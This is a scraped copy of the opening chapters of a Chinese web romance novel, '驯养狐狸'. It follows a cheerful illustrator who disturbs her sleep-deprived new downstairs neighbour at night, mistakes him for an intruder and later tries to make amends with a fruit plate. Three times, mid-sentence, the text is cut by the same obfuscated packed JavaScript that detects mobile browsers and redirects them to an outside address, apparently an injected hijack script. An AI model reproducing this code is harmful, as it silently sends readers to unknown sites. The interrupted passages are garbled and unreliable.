《驯养狐狸》 1. 深夜扰民 作者：温似 本书在晋江文学城独家原创发表 请勿转载，望支持正版 —————— 四月，荔安。 周默被楼上源源不断的“咚咚”声吵醒时，他挣扎着看了眼手机，是凌晨3点42分。 距离他闭上眼才过了不到一个小时。 作为一个已经连续一个多月平均睡眠不足五小时、前一天下午刚搬好家又被喊去公司救场、忙到深夜回到新住处、匆匆洗了个澡便躺回床上却不幸再度失眠的残血人士，伴着不绝于耳的“咚咚”声，周默在“忍”和“上楼交涉”之间仅仅思考了半秒，便毫不犹豫选择了前者。 没办法，他实在太累了。 头也嗡嗡的。 然而事实证明，有时候忍耐也是要付出代价的。 咚咚咚…… 楼上这是住了位老大爷或者老奶奶吗？要么就是老两口！不然谁起这么早啊？ 他捂着耳朵想。 咚咚咚咚…… 这老人家精力也太充沛了吧，果然，退休的日子就是舒服！ 他蒙着被子想。 咚咚咚、咚咚咚、咚咚咚…… 啊，大爷大妈您是在楼上蹦迪呢吗？ 等等—— 停了？ 周默心思一顿，竖着耳朵又等了两秒，仍是没有动静。 太好了，终于能睡了。 他长松一口气。 然而两分钟后—— 咚咚咚、咚咚咚…… 啊！他卷起半边枕头，将脑袋包成了个饺子，试图用这种方式堵住耳朵，隔绝噪音。 早知道这房子隔音这么差，好吧，也不怪房子，早知道楼上住着这么个邻居，他绝对不会搬到这里来住！ 可这些现在都不重要了，重要的是，他需要睡眠…… 不绝于耳的“咚咚”声如鼓槌一般，一下下重重擂在他缺觉的心脏上，让他胸口忍不住泛起一阵阵闷痛…… 直到又两分钟后…… 不行，忍不了了！ 他一把甩开被子，胡乱套上拖鞋，就这样趿拉着，拖着满身几乎肉眼可见的怨气冲出了卧室！ 出门， 左转， 摁电梯。 深更半夜，电梯不知被谁升到了顶楼，此时听到召唤开始不急不缓地往下降。 算了不等了！ 他扭头就扎进身后的步梯间。 啪啪啪，啪啪啪，周默一路眯着眼，三步并作两步跨上楼梯。沉睡的楼道灯被他吵醒，一脸不耐烦地亮起惺忪微弱的光，让整个楼梯间都散发着一股阴森诡异的气息。 然而周默无所畏惧，即便狭路相逢，他也相信，此时此刻自己身上的怨气足以吓退任何妖魔鬼怪！ 来到楼上，左转。 901，就是这个。 “砰砰砰！砰砰砰！” - 【亲爱的小樱桃，稿子改好了~】 【萤火虫奇遇记-分镜稿V3】 【嘀嘀，小樱桃？】 【哈喽，你还在吗？】 你拍了拍“别来找肖女士”的木鱼，功德+1 …… 电脑前，迟了了不厌其烦地骚扰着对方，一遍又一遍，直到绿色的对话气泡撑满整个窗口才终于罢休。 白皙的手指抓着怀里的小黄鸡抱枕团了几团，又拽了拽睡衣上的兔子耳朵，随后往后一甩，双手托着略带肉感的脸颊杵在了桌子上。 一双又圆又亮的大眼眨了眨，见半晌对面也没传来个回复，又滴溜溜一转，而后弯成了月牙状。 嘿嘿，这意味着对面那位熬夜狂魔已经睡了，而自己今晚的工作，也终于结，束，了！ 好耶！ 迟了了一把举起抱枕扔到一旁，抬脚一蹬桌腿，粉色的人体工学座椅便咕噜噜滑出去老远，直到转了个弯才在走廊里停下。 “唔哈——呀！” 打了个长长的哈欠，又甩甩那头蓬松茂密的栗色羊毛卷，她这才踩着那双张着大嘴、露出满口獠牙的鲨鱼拖鞋离开椅子，伸着懒腰往厨房晃去。 打开冰箱，先选了罐桃子味的电解质水，再来根冰淇淋，最后回到客厅，往沙发上一瘫。 “啪”地一下拧开饮料瓶，她二话不说先咕嘟嘟喝了一大口。 啊——舒服！ 交完稿的感觉，就是爽! 此时窗外仍然一片漆黑，夜色正浓，除了远处一些高楼大厦还亮着稀疏的灯，放眼望去，整座城市便只有半空中星星点点的航空障碍灯还在缓慢而规律地闪着红光，仿佛是这座沉睡中的城市发出的慵懒的呼吸。 迟了了扭头看了眼墙上的猫头鹰挂钟——3点35分。 嗯……精神有些亢奋，还不想睡觉。 她嗦着冰淇淋，一边思索，一边打量起整个屋子，一双炯炯有神的圆眼仿佛探照灯般扫射过房子的每一个角落。 有了！ 迟了了双眼一亮，蹭地从沙发上弹跳起身，拔腿就朝角落柜子最底层的一个藤编收纳筐跑去，动作快到连睡衣上的兔子耳朵都被她甩得飞起。 “找到了！” 埋头捣鼓了半天，等再起身时，她像个刚刚寻得宝藏的马里奥，手中还举着个“闪闪发光的大蘑菇”，咳不是，是一根已经积了灰的跳绳。 正如她的母亲大人、美丽善良温柔优雅的秦木兰女士曾经常在她耳边念叨的：“早睡早起身体好，空腹有氧最有效，久坐不动屁股塌，腰颈肩病全到家”，在这个乌漆嘛黑黑灯瞎火的深夜，一向对各类健身鸡汤只有三分钟热度的迟了了同学也不知道自己搭错了哪根筋，突然想要锻炼一下。 于是，选了块还算宽敞的地方，她啪啪两脚甩开拖鞋，拉开架势，倒数了个三二一，愉快地跳起了绳。 然而…… 这份快乐却只持续了不到两分钟。 才跳到第两百个，她就不大乐得出来了；到第五百个，她已经歇了三回；到第一千个，她实在跳不动了，上气不接下气地停下。 摸摸后颈，很好，出汗了！ 效果达成，今日训练结束！ 瞄准收纳筐，她用尽最后一丝力气将跳绳空投入筐，然后寻回鲨鱼拖鞋，回到最近的懒人沙发前，腿一软，便瘫了下去。 就在这时—— “砰砰砰！砰砰砰！” - 急促的呼吸骤然屏住，迟了了被吓得一哆嗦，唰地扭头就看向声音传来的方向！ 可几声急促响亮的拍打声后，那扇大门却又恢复了安静。 ……安静得，仿佛刚刚是她幻听了。 迟了了却不敢掉以轻心。 她手脚并用地从懒人沙发里爬起来，整个人呈防御姿势蹲坐在地上，瞪着眼一动不动地看着那扇门。 果然，安静片刻后，大门再度响了起来，这一回倒不像刚刚那样不客气，而是断断续续的“笃笃”声。 像是……在试探什么似的。 想到这一点，迟了了浑身汗毛都竖了起来！ 在这四下无人、黑咕隆咚的夜半时分，凶巴巴的鲨鱼拖鞋里，十根脚指头色厉内荏地蜷了起来，紧张不言而喻。 半夜三点、 万籁俱寂、 独居女性、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818829|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闯入家门…… 一时间，无数曾在网上看到的独居女性被歹人尾随、闯入家门后遭遇不测的社会新闻齐齐涌入脑海，迟了了立刻反思起自己这几天的行动。 叫外卖被人发现时独居了？ 不应该呀，自己外卖名字留的都是“迟骋”——这是迟了了她爸的名字——而且都是留言放在门口，等人走了三五分钟后才去取的。 甚至连留言备注，自己也特别注意没有很讲礼貌。 那，是出门回来被人尾随了？ 也不会呀，她今天为了赶稿都没出门！ 那是…… 啊，她知道了！ 脑中灵光一闪，迟了了又有了猜测：好一点的可能，是不知道哪家的醉汉，半夜喝完酒回来按错了电梯；而不好的可能……就是有人看到自己的灯还亮着，故意来试探的！ 万一自己放松警惕，或者出于好奇真的去开门，对方就可以趁机闯进来了！ 想通这一点，迟了了感觉自己的冷静又回来了，立马攥着手机，轻手轻脚来到门口，像只壁虎一样小心翼翼趴到门上。 然后，她深吸一口气，紧闭眼睛悄悄凑近猫眼。 老实说，此时此刻的迟了了已经做好了看到各种恐怖画面的准备，譬如什么血呼刺啦的玩偶、阴恻恻的诡笑，甚至是门外那人也正贴在猫眼上的眼珠子！ 停！不能再想了！ 随便看到什么，尽管来吧！ 她心下一狠，猛地睁开眼！ 可—— 咦？ 不确定，她趴在门上又转转角度。 咦？ 还是没有……什么都没有？ 迟了了从门上起身，一脸茫然地歪着头：这，是个什么情况？ 而这时，门外又响起略显不耐的笃笃声。 迟了了不禁倒吸一口凉气。 哦对了，她突然想起来，自己在门口装了监控呢！ 于是赶紧打开手机，点开APP。 这一瞧，还真让她发现了那个装神弄鬼的家伙。 只见昏黄的走廊灯光下，那人头发蓬乱，衣衫不整，垂头丧气地侧在自家门口，脑袋耷拉着靠在墙上，垂着一只手还时不时抬一下，敲敲门——正是迟了了听到的“笃笃”声。 角度问题，监控里看不清他的脸，但那身诡异颓丧的气息却一目了然。 呵，迟了了心中冷笑：难怪她刚才看来一圈也没见人影，原来在底下躲着呢！ 这人一定是看到自己窗户亮着灯，知道自己没睡，于是上楼敲门，想趁自己好奇开门的时候冲进来！ 小样儿，心机够深啊！ 她眼睛眯起，露出一副阴恻恻的笑：“看我怎么治你！” …… 五分钟后。 随着“叮”的一声响，电梯在九楼停下，不锈钢电梯门丝滑打开，露出里面两个身穿黑色制服、头戴黑帽、手持电棍、威风凛凛的男人。 打头的，是个四五十岁的中年模样，身量稍矮一些，却更老练稳重；在他身后跟着的，则是个高大魁梧的年轻小伙儿。 电梯一开，两人立刻昂首挺胸，目光如炬，硬生生将胸前“保安”字样的白色贴标撑出了“国安”的气场！ “走！” 只听年长的那个一声令下，两人面色冷峻，气势如虹，踏着整齐的大步走出电梯。 出来一转身，果然看到了电话里那个穿着暗色睡衣、头发凌乱、鬼鬼祟祟躲在门口的不明男子。 “喝！干嘛的！” 正头昏脑胀的周默猛地一个激灵惊醒过来，脚下猝不及防一个趔趄，差点跌倒在地。 2. 白日见鬼 “哈哈迟小姐，情况呢，就是这个情况，这位先生是楼下昨天刚搬来的租客，您刚才是不是干了啥事儿？弄出了点——” 中年保安大叔的口音里夹杂着独属于北方方言的亲切与豪爽，面上却一派和蔼可亲的模样，他一边说一边朝迟了了掐了个小拇指尖。 “小动静，嘿嘿。” 周默嘴角一扯：“呵。” 大叔脸上笑意一僵，不自然地瞄了他一眼，转而又回过头来继续笑呵呵道：“这位先生睡得正香就被惊醒了，所以想上楼和您，友好地，沟通一下。”说完还点点头，加重语气又重复了一遍，“没错，友好地。” 周默又冷冷看了他一眼。 “楼下？” 相比于他的低气压，迟了了从门缝里探出的那双眼睛却是锃光瓦亮，透着与这凌晨三点多钟格格不入的神采奕奕。 她惊奇地打量着眼前这个一脸黯然的大高个，又看向保安大叔：“许愿房子租出去了？” “哎，看来是的。”大叔笑眯眯应道，两人明显很熟。 “怎么也没跟我说一声呀，”迟了了暗暗嘀咕了一声，旋即抬头看向周默，两眼一弯，龇开两排贝壳牙，“你好呀，新邻居！” 周默几乎当场冷笑出声。 好？ 他不好， 很不好！ 连续失眠这么多天，他好不容易趁着前一天搬家攒了点疲惫感想好好睡一觉来着，可刚睡着又被吵醒，忍无可忍来楼上敲门，因为脑袋实在太难受在门口眯一会儿的工夫，又被人当成了变态！ 请问， 他， 怎么可能， 好得了？！ 然而…… 呼—— 再大的怨气，对上面前门缝里这个他本以为是个倚老卖老的老人家，实则竟是个个头才到自己胸口、穿着大白兔睡衣、一双圆眼笑成月牙的包子脸尖下巴女生，又被尽数堵了回去。 虽说他不至于跟那些宅男一样对萌妹子毫无抵抗力，可面对这样一个笑得跟只小猫一样的女生，即便自己再铁石心肠，也实在说不出什么重话。 而连续失眠多日的大脑里为数不多仍在运行的GPU也提醒着他，如果这个时候自己当真怒气冲冲对她指着鼻子教训，非但不能站在道德的制高点，反倒落了下风。 “对不起啊，我不知道楼下有人住了，抱歉刚刚跳绳打扰到你睡觉了哈。”见他一直不说话，迟了了又赔着笑地解释道。 好嘛，就连噪音也是因为不知道楼下住了人才制造的。 这么一点点盘算下来，周默发现自己竟然完全没有了可以发火的余地。一时间，他张张嘴，却什么话也说不出来，睡眠不足的脸上更是一阵阵阴沉…… “迟小姐又熬夜的？”一旁保安大叔见两人僵住，再度开口缓和气氛，“小姑娘别老熬夜了，对身体不好的！” “嗯嗯，我知道了！”迟了了连连点头，又乖又甜地应了一声，然后继续看着周默，一双大眼真诚地眨了眨。 保安大叔也看向周默，劝道：“小伙子你看，这次也是一点小误会，让你受委屈了，但话说回来，迟小姐这安全防范意识还是十分可嘉的，咱们还是要鼓励，对吧？”说完，他还朝旁边的年轻保安狂递眼色。 年轻保安收到信号，立即连声附和：“对对对！” “哎~”大叔一拍手，“再说了，这楼上楼下街坊邻里，低头不见抬头见的，咱们各退一步，你们年轻人做邻居，指不定还能交个朋友呢！” 年轻保安还是：“对对对！” 这架拉得，简直偏到月球上去了。 两人还在劝着，周默却已经受不了了。 不是受不了他们拉偏架的唠叨，而是他实在太累，需要赶紧回去休息。 “算了，我走了，你以后注意点。” 他冷声打断保安的喋喋不休，木着一张脸转身离开。 可刚走两步，又停下：“对了。” “哎？”迟了了一个激灵，赶紧立正站好。 “熬夜之后不要剧烈运动，对身体不好。”小心猝死，他在心里补充道。 本以为他是要撂狠话的迟了了一愣，过了两秒才反应过来，双眼唰地亮起，声音响亮清脆，掷地有声：“我知道了！谢谢你的提醒，新邻居你真是个好人！” 噗！ 好人…… 周默捂着心口那支看不见的箭，头也不回地拐进了楼梯间。 - 第二天，当周默从床上醒来时，时间已经将近中午。 凌晨那场闹剧之后，他从楼上下来，本以为终于可以好好睡一觉了，不想却再次失了眠。辗转反侧捱到将近六点，才终于在窗外泛起的鱼肚白中闭上眼。 一觉光怪陆离，似梦非梦，再睁眼竟然已经快十二点了，可他脑子里仍是雾蒙蒙一片，昏昏沉沉的。 左右没别的事忙，他索性又在床上眯了一会儿。 等大脑终于从迷雾中找到了一些方向，饥饿感也随之而来。想起昨天搬来后还没来得及采购食材，他捞起手机点了份外卖，这才从床上爬起来。 装修简约时尚的房子里，昨天没来得及收拾完的行李仍堆在餐桌旁的过道里，他站在卧室门口，就这么看了一会儿，然后面无波澜地回身进了洗手间。 二十分钟后，再出现在客厅的男人便已似换了个人。 浅灰色的套头卫衣和深灰色的家居长裤将本就优越的身形衬托得更加高大挺拔、肩宽腿长，刚吹干的黑色碎发蓬松垂着，额前几缕发丝垂下来，半掩住浓黑微蹙的眉，而浓眉之下，一双深邃的眼睛微微眯着，依稀可见微窄的重睑和浓密的睫毛，以及…… 眼下显而易见的两抹乌青。 两眼之间，高挺的鼻梁微带驼峰，凌厉之余又透出一种别样的生动。再往下，是微抿的薄唇、清晰却不显尖利的下颌，和凸起的喉结。 突然，他拧起的眉心一松，几个箭步来到沙发前，俯身从深灰色的大理石茶几上，拿起那副几乎与其融为一体的细黑框眼镜。 于是眨眼间，这样一张令人赏心悦目的脸庞便被遮掩了锋芒，原本的精致生动顷刻被疏离内敛所取代，甚至还包裹上了一层理智与严谨。 找到眼镜，周默掏出手机看了一眼。 外卖还有些距离，他环视四周，准备趁这个空当把行李收拾收拾。 不想撸起袖子刚要开始，手机里又传来新消息的提醒。 打开一看，是个拎着鞭炮和福字的年画娃娃头像： 【忙着呢么】 【昨晚谢了哈】 发消息的人名叫祝赫，一听便叫人觉得喜庆。 周默面色未改：【不用客气。】 没想到对方还真就不客气了： 【成，那就不谢了】 说完还把刚刚那句道谢给撤回了。 周默嘴唇微抿：“……” 对方似乎料到了他的反应，立刻发来一个大笑的表情： 【对了，你东西收拾得怎么样了？准备什么时候正式来跟大家见一面？】 【昨天你露的那手可把他们都给镇住了，一个个都来问我你是谁，我可没说啊，就等着你来才揭晓呢！】 周默看着屏幕上的话，顿了片刻，回道：【快了，明天吧。】 【行，那明儿见。等你安顿好了，找时间我去给你暖居】 【不用。】周默立马回绝，【租来的房子而已，没有必要。】 对方却不这么认为： 【那还是有必要的，毕竟你得在那住一阵子呢】 【而且现在不是流行那句话吗，生活要有仪式感！】 仪式感？ 【我看你是想来蹭吃蹭喝。】周默回。 两人相识这么多年，他还看不破他这点企图？ 然而小心思被戳破，祝赫非但不为自己辩解，反而更加坦荡：【语言艺术，适度包装，理解就行】 十二字箴言一出，言下之意不过想说：是又怎样？ 周默不能拿他怎样，只能回句【再说吧】，便结束了这次聊天。 收起手机，他重新将目光放到行李上。 周默这房子租得凑巧，当时不过是想着去物业问问看，却正好碰上了房东急着租房。一听他要问房子，那个看起来像个搞学术研究的中年男人一把拉住他，说正好自己儿子的房子要出租，怎么着非要带他来看看。 那天看得匆忙，他只觉得这房子确实不错，便直接签合同租了下来。 直到昨天搬来，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818830|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才又有工夫里里外外仔细看一遍。 这房子不算小，但也不大，原本是个三室两厅、一厨两卫的户型，不过入户的次卧被和客厅打通，做成了个开放式的书房，阳台也是贯通的；最里面那间朝北的次卧则被房东关了起来，说是用来堆放他儿子的一些杂物。 于是只剩下一间朝南的主卧供周默使用，不过也足够了。 他的行李不算多，除了两个行李箱外，便只有几个纸箱。 每个纸箱上都被他贴了标签，蓝的、绿的、白的，所有物品分门别类，只消看一眼便心里有数。 可他扫视一遍，却无视了其他箱子，径直走向角落里最孤零零的一个——那上面没贴标签，但周默很清楚里面是什么。 将纸箱搬上桌子，他拿剪刀小心翼翼地划开上面的透明胶带。 箱子打开，率先露出的，是最上面一个用气泡膜包裹得严严实实的东西。 周默将它拿出来，轻手轻脚地剥开层层包装，直到露出最里面的庐山真面目。 这是一个相框。 相框翻转，一个头发花白的老太太立即映入眼帘。老太太脸上挂着爽朗又不加掩饰的笑，仿佛每道皱纹里都盛满了开心和满足，让人隔着被定格的照片都能隐约听到她畅快的笑声。 而在老太太身侧，一个身穿黑色连帽卫衣、样貌神似周默却带着股稚嫩的少年也看着镜头，帅气又略显青涩的脸上，好看的唇角不自然地勾着，扯出一抹别扭勉强的笑。 周默久久地看着这张照片，蓦地，也笑了一下。 然而这笑转瞬即逝，下一秒他脸上又重归那副死水般的平静。 抬手擦了擦相框玻璃上并不存在的灰尘，他又将相框用气泡膜重新包好、放回箱子，然后抱着纸箱进了卧室。 等出来的时候，不等他收拾别的东西，外卖正巧也到了，他想了想，决定先吃饭。 餐桌被行李挡住，餐椅也都扣在桌子上，他只好将外卖拎到客厅茶几上。 外卖盒一打开，浓郁的香气便扑面而来，醇厚的鸡汤上飘着一层厚厚的金色油花，还有几粒鲜艳的枸杞和虫草花，肥厚的鸡肉在它们的掩映下若隐若现，色香俱佳，诱人得仿佛美食纪录片里的画面。 不管什么时候，美食总是疗愈人心的。 周默嗅了一下，感觉沉闷的心情也为之一松。 啪地掰开筷子，又摩擦掉上面的毛刺，然后将分装的面条挑散，倒入鸡汤。金黄的鸡汤热情地将面条淹没，很快，面条便恢复了应有的软弹。 他将面翻了翻，然后轻轻挑起几根，低头吹了吹。 这时窗外隐约传来一声呼喊，周默扭头看过去，却什么也没看到，于是便也没放在心上，收回目光，开始进餐。 可不料一口面刚刚入口，他就感觉眼前被什么东西晃了一下。 等定睛再看，却见面前这碗汤汁金黄、肉色肥嫩、冒着喷香热气的鸡汤面里，已经多了个……纸飞机。 “？？？”上一秒还在享受美食的周默顿时傻了眼。 眉心陡然攒起，他凑近盯着这个貌似充满童趣，实则和小孩一样带有“恶魔”属性的天外来物，种种思绪闪过脑海。 有那么一秒钟的时间，一向只信奉科学的周默怀疑自己跟这个房子是不是八字不合？ 他放下筷子，起身就往阳台走去——那里是纸飞机唯一可以进来的地方。 来到窗边，他扒着窗台就往外看去。 他倒要看看，是哪家熊孩子搞这出！ 然而头刚探出去—— “咦，新邻居你好呀！”一道欢快的声音便从头顶乍然响起。 周默一怔，疑惑地抬头看去。 下一秒，他猛地倒吸一口凉气，原本有些不耐的瞳孔也骤然一缩！ 只见在他正上方，一颗栗色脑袋正挂在窗边，浓密弯曲的长发凌乱地垂下来，被风一吹，飘飘当当的，一摇一摆间还露出一张若隐若现的笑脸…… 周默几乎以为自己大白天见了鬼了！ 好在紧接着，一只手便从那颗脑袋旁边伸了出来，将栗色头发拨开，这才完全露出卷发后的那张脸。 一张，与刚才的恐怖效果截然两个画风的，灿烂笑脸。 “哈喽！新邻居，是我呀！” 3. 果盘外交 迟了了本想将头发掖到耳后，奈何发量实在有些多，再加上又是现在这么个垂着头的姿势，满头长发在手指松开的一瞬间便又掉了下来。 她只好用那只手直接按着，然后用另一只手朝楼下招呼：“我的纸飞机刚刚飞出去了，你看到了吗？” 周默：“……” 很好。 “没看到吗？”见他不说话，迟了了有些失望地鼓鼓脸颊，“看来是飞到别的地方去了。”说着扫了眼楼下绿化带茂密的树冠，叹了口气。 可失落只是一瞬间的事，转眼她又来了精神，兴致勃勃地看向周默：“新邻居，你是昨天刚搬进来的吗？” 话题转得让人措手不及，周默怔了下，冷冷回答：“嗯。” 表情平淡，语气也不亲善。 但迟了了并不在意，咧开两排小白牙笑着说：“我叫迟了了，知了的了，你也可以叫我迟三三，你叫什么名字呀？” 迟……了了？ 奇怪的名字，周默心想。 “姓周。”他说。 邻居而已，他不认为两人有交换姓名的必要。 “哦——”对于他的疏离，迟了了却仿佛没有察觉，大大的眼睛滴溜溜一转，一只手拢在嘴边压低声音又问，“周邻居，你这房子，租金多少呀？” 这问题多少有些失了分寸了，周默眉心一紧，身子稍稍往里撤了撤。 “怎么了？”他淡淡反问。 只听楼上人嘻嘻一笑，耙了耙被风吹乱的头发：“你房东许愿，是我发小。他出国后这房子都是我在帮他照看呢，”说到这又嘀咕起来，“没想着这么突然就给租出去了。” “照看？”周默眸光微沉，“哪种照看？” 房东确实跟他说了，自己儿子比他小几岁，如今人正在国外，也是因此，这房子才由他来代租。可房东并没有提到，这房子还有另一人照看。 该不会，有什么纠纷吧？ “哎呀放心，不是什么正式的照看啦，”迟了了见他表情不对连忙摆手，“就是口头上说说而已，隔段时间让人给他打扫打扫，如果水电有问题也帮他处理一下，这之类的！” 周默这才松了口气。 紧接着，他又听对方问：“新邻居，你是在这附近上班吗？你是荔安人吗？” 周默开始有些不耐烦。 他想起自己站在这的最初目的可是为了找到纸飞机的源头，如今罪魁祸首找到了，自己却跟人在这闲聊起来，还要接受对方一个又一个查户口般的提问，心里立时起了抵触。 “对。”他随口应了个字，而后不等迟了了再问便飞速扫了眼上方，冷声提醒，“你这样探头在外面，不怕楼上扔烟头下来？” 这种事情，他相信在任何小区都不会绝迹。 果然，正要开口的笑脸一听这话顿时一僵，两秒钟后反应过来，嗷地一声就抱着脑袋缩了回去！ 周默见状挑了挑眉：这句话的效果，远比他预想的还要好。 烦躁的心情瞬间好转，一直无甚表情的脸上唇角快速勾了一下，随后他也撤身准备回去了。 然而，嘶—— 他抬手揉揉脖颈：这姿势，还真有点费脖子。 …… 回到客厅，周默对着那碗面再度陷入沉默。 经过这么半晌，纸飞机早已“吃饱喝足”，青绿色的纸面上，淡黄的油渍和汤水蔓延了大半个机身，却又狼狈地梗着脖子，像是在理直气壮地朝他叫嚣： 这碗鸡汤，被我毁了！怎样！ 周默后槽牙紧了一紧。 可事实已经如此，懊恼也没有用，他一贯不爱在这种小事上浪费情绪，于是没多纠结便拿起手机重新点了份一模一样的，然后拎着这份去厨房倒掉。 连同那个嚣张的纸飞机一起！ 从厨房再出来，他环顾屋内，无奈地发现自己似乎又回到了十几分钟前还没接到祝赫消息的时候，此时此刻，他的进度仍然是—— 等外卖。 叹了口气，周默认命地朝那几个行李箱走去……反正他已经饿过头了。 可刚打开一个箱子，大门就被敲响了。 周默蹲在箱子前，双臂搭在膝盖上，不解地扭头看过去。 外卖他刚点了还不到五分钟，就算外卖小哥用飞的，也不可能这么快吧？ 可如果不是外卖小哥，还能是谁？ 思索的时间里，敲门声再次响起，三短一长，四下一组，有点耐心但又似乎不多，周默只能带着疑问起身走过去。 然而，刚打开门他就后悔了。 那个他刚刚摆脱的楼上邻居，此时正捧着一盘水果，扬着一脸笑站在门外。 “哈喽新邻居，这是送你的果盘！对不起，今天早上打扰到你睡觉了，我向你郑重赔礼道歉！”一见开门，迟了了便立即开口，毫不打绊地道明来意。 她说这话时双脚立正，挺胸抬头，面上郑重其事，双目炯炯有神，声音清脆得像是蹦珠子一样，噼里啪啦的，一口气说完，还眨眨眼睛，露出八颗牙齿的完美笑容…… 真是要多诚恳友好，有多诚恳友好。 对此，门内的周默却是一阵无言以对。 他目光落在被举到自己眼前的果盘上——这是个不规则形状的透明玻璃碗，碗身晶莹剔透，碗沿描着一圈金边，看起来很是精致。 碗里盛着还带着水珠的水果，樱桃、蓝莓、草莓，还有切成片插着牙签的蜜瓜、橙子、猕猴桃，红的、绿的、蓝色、黄的，色彩搭配得十分鲜艳。 而果盘后的女生，顶着那头蓬松卷发，与几分钟前所见不同的是，此时她脑袋上又多了个十分抢眼的黑色蝴蝶结发箍，上身一件缀满了巴掌大毛绒小熊的连帽卫衣。整个人从视觉上给周默的感觉就是两个字—— 头重。 低头再看，脚下是双嵌满了各色装饰的白色洞洞鞋。 ……好吧，脚也不轻。 还挺均衡。 不过倒也不必如此郑重其事，周默打心底里想，大家最好就做个点头之交的邻居，足够了。 于是他说：“不用了，以后注意就行。” “所以你原谅我了？”迟了了喜出望外。 “嗯。” 所以你可以离开了。 然而迟了了却没能领会到他这句潜台词，反而笑得更加灿烂了。 “你没放在心上真的太好了！那这个果盘就当作是送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818831|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的见面礼吧！”她迫不及待地将半夜那场乌龙翻篇，“咱们交个朋友呗，楼上楼下的，以后有什么事都可以照应一下，互相帮个忙什么的！” 周默呆呆地看看她，又看看那个果盘，不由一阵心塞。 如果没有理解错，她这是……一盘两用的意思？ 他突然有点好奇，如果自己刚刚收下了“道歉果盘”，那此时的“见面礼”又会是什么？ 莫名地，他想到刚刚被自己扔掉的纸飞机…… 停！ 他赶紧收起乱七八糟的思绪，重新将注意力放在面前的一人一盘上。 眼下摆在他面前的问题是，新邻居带着礼物——姑且算是礼物吧——登门，而且还跟自己的房东有些渊源，按照初来乍到的社交法则，他就算是意思意思，也该招呼一下。 虽然，他并不乐意。 蓦地，他想到什么，冷淡的眸光微微一闪，又软化下来。 末了，他抱着某种期望问了句：“要进来坐坐吗？” 迟了了眼睛唰地一亮：“方便吗？” “……” 不方便。 而且但凡你稍微掩饰一下脸上的激动，我会勉强当作你这话不是在客套。周默心想。 希望破灭，他在心中叹了口气。 可话已说出口，还能怎么办？ 不对—— 电光石火间，他脑中灵光一闪，细黑框眼镜后的眸子里再次泛起精光。 “方便是方便，不过你确定，要进一个陌生男性的房子吗？” 按她昨晚的谨慎程度，听到这句话肯定会知难而退的吧。 果不其然，迟了了被他这一提醒立即反应过来，本就溜圆的眼睛又大了一圈。 然而就在周默以为自己成功在望时，思考几秒后的迟了了再次说出的话，却让他不禁有些怀疑人生—— 她说：“那要不，你把门开着，我就在门口，咱们隔着门聊天？” 迟了了越想越觉得这是个两全其美的好主意，兴冲冲地仰头看着他。 周默却怔住了。 失策，他早该察觉到，面前这是个自来熟的…… “嘻嘻，”见他一副意外至极的样子，迟了了又笑起来，“其实我明白你的意思，注意安全嘛！不过你要是不提醒我，我还真要多加防范，但你提醒了，我反倒觉得可以放心一些。” 周默再次：“……” 他就多余自作聪明！ 两人就这么大眼瞪小眼地对峙了片刻，见她完全没有改变主意的迹象，周默一口气憋在胸口，那是上也上不去，下也下不来。 最后，他只能甘拜下风，将门敞开到最大，又从屋里搬了把椅子放在她脚边。 送完椅子，他转身回屋，又听到身后女生急忙问：“哎，你不把水果拿进去吗？” “不了，你吃吧。”他毫无波澜地说。 哪知对方遗憾地“哦”了一声，转而又说：“那你可以再帮我拿个垃圾桶吗？” 周默再次深吸一口气，攥了攥拳头。 不仅自来熟，现在看来，还有点儿顺杆儿爬！ 但长吁一声，他还是回屋拿了个垃圾桶，认命地放在了她脚下。 4. 加个微信 门口多了个只有0.5分熟的邻居，还是个异性，这让周默很是别扭。 他看了眼手机，暗暗后悔刚刚没有换家更近点的外卖，以至于到现在骑手还在好几公里之外。 而对于他的烦躁，迟了了浑然未觉。 作为邻居，且是房东发小，兼非正式房屋监管人，以及……某个不足为外人道的原因，迟了了觉得，自己十分有义务接待好这位新房客，并且帮助对方尽早无痛适应新环境，最好能让他有“宾至如归、乐不思蜀”之感！ 当然，也不仅仅是因为这些，还有……昨晚那档子事儿。 这事儿不能说，一说她就心虚！本该好好接待对方，留下个亲善热情好邻居的第一印象，哪承想邻里间头一次打交道，竟然是因为自己噪音扰民被人找上门。 更丢人的是，自己还把人当成了变态？！ 这种奇葩事，如果不是她自己做出来的，绝对是迟了了本人在吐槽帖里看到都得啐一口“有病”的程度！ 虽然刚刚新邻居说他不计较，可这也只是勉强把印象分从负分拉到了零分，还是个岌岌可危地位不稳的零。 